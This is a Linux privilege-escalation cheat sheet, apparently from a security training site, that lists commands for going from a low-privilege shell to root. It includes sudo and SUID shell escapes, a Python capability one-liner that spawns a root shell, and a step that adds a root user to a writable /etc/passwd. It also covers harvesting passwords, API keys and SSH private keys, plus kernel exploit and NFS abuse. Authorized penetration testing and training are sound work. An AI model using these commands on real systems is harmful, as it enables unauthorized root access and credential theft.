SUID, sudo, cron, capabilities, PATH & kernel — the full root checklist
A practical checklist to go from a low-priv shell to root on Linux: enumeration, SUID, sudo, cron, capabilities, PATH, and kernel exploits. For authorized testing only.
./linpeas.sh # the standard — run it first
./lse.sh -l1 # linux-smart-enumeration
Then verify the interesting findings by hand below.
id; whoami; sudo -l
hostname; uname -a # kernel version
cat /etc/os-release
ip a; netstat -tulpn # internal services
sudo -l
sudo? Check GTFOBins for the escape, e.g.:sudo find . -exec /bin/sh \; -quit
sudo vim -c ':!/bin/sh'
sudo less /etc/profile # then !/bin/sh
sudo with env_keep / LD_PRELOAD? Exploitable.(ALL) NOPASSWD: ALL → sudo su.find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
Cross-reference each unusual one with GTFOBins (SUID section). Classic wins: find, bash, nmap (old), cp, vim, python.
cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/* 2>/dev/null
A root cron running a world-writable script (or one using a relative path / wildcard) = code exec as root. Watch processes with pspy.
getcap -r / 2>/dev/null
cap_setuid+ep on python/perl = instant root:
/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
echo $PATH
find / -writable -type d 2>/dev/null # writable dirs
find / -perm -2 -type f 2>/dev/null # world-writable files
ls -la /etc/passwd /etc/shadow # writable? game over
Writable /etc/passwd? Add a root user:
openssl passwd -1 -salt x pass # → hash
echo 'r00t:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd; su r00t
grep -riE 'password|passwd|secret|api[_-]?key' /var/www /home /etc 2>/dev/null
cat ~/.bash_history ~/.ssh/id_rsa 2>/dev/null
find / -name "*.conf" -o -name "config.php" 2>/dev/null
uname -r
searchsploit linux kernel <version>
e.g. DirtyCow, DirtyPipe, PwnKit (pkexec), Sudo Baron Samedit — only if nothing else works.
cat /etc/exports # look for no_root_squash → mount, drop a SUID root binary
Authorized targets only. Practice the full chain on the AYSEC pro-labs. Pair with the reverse shell and Windows privesc cheat sheets.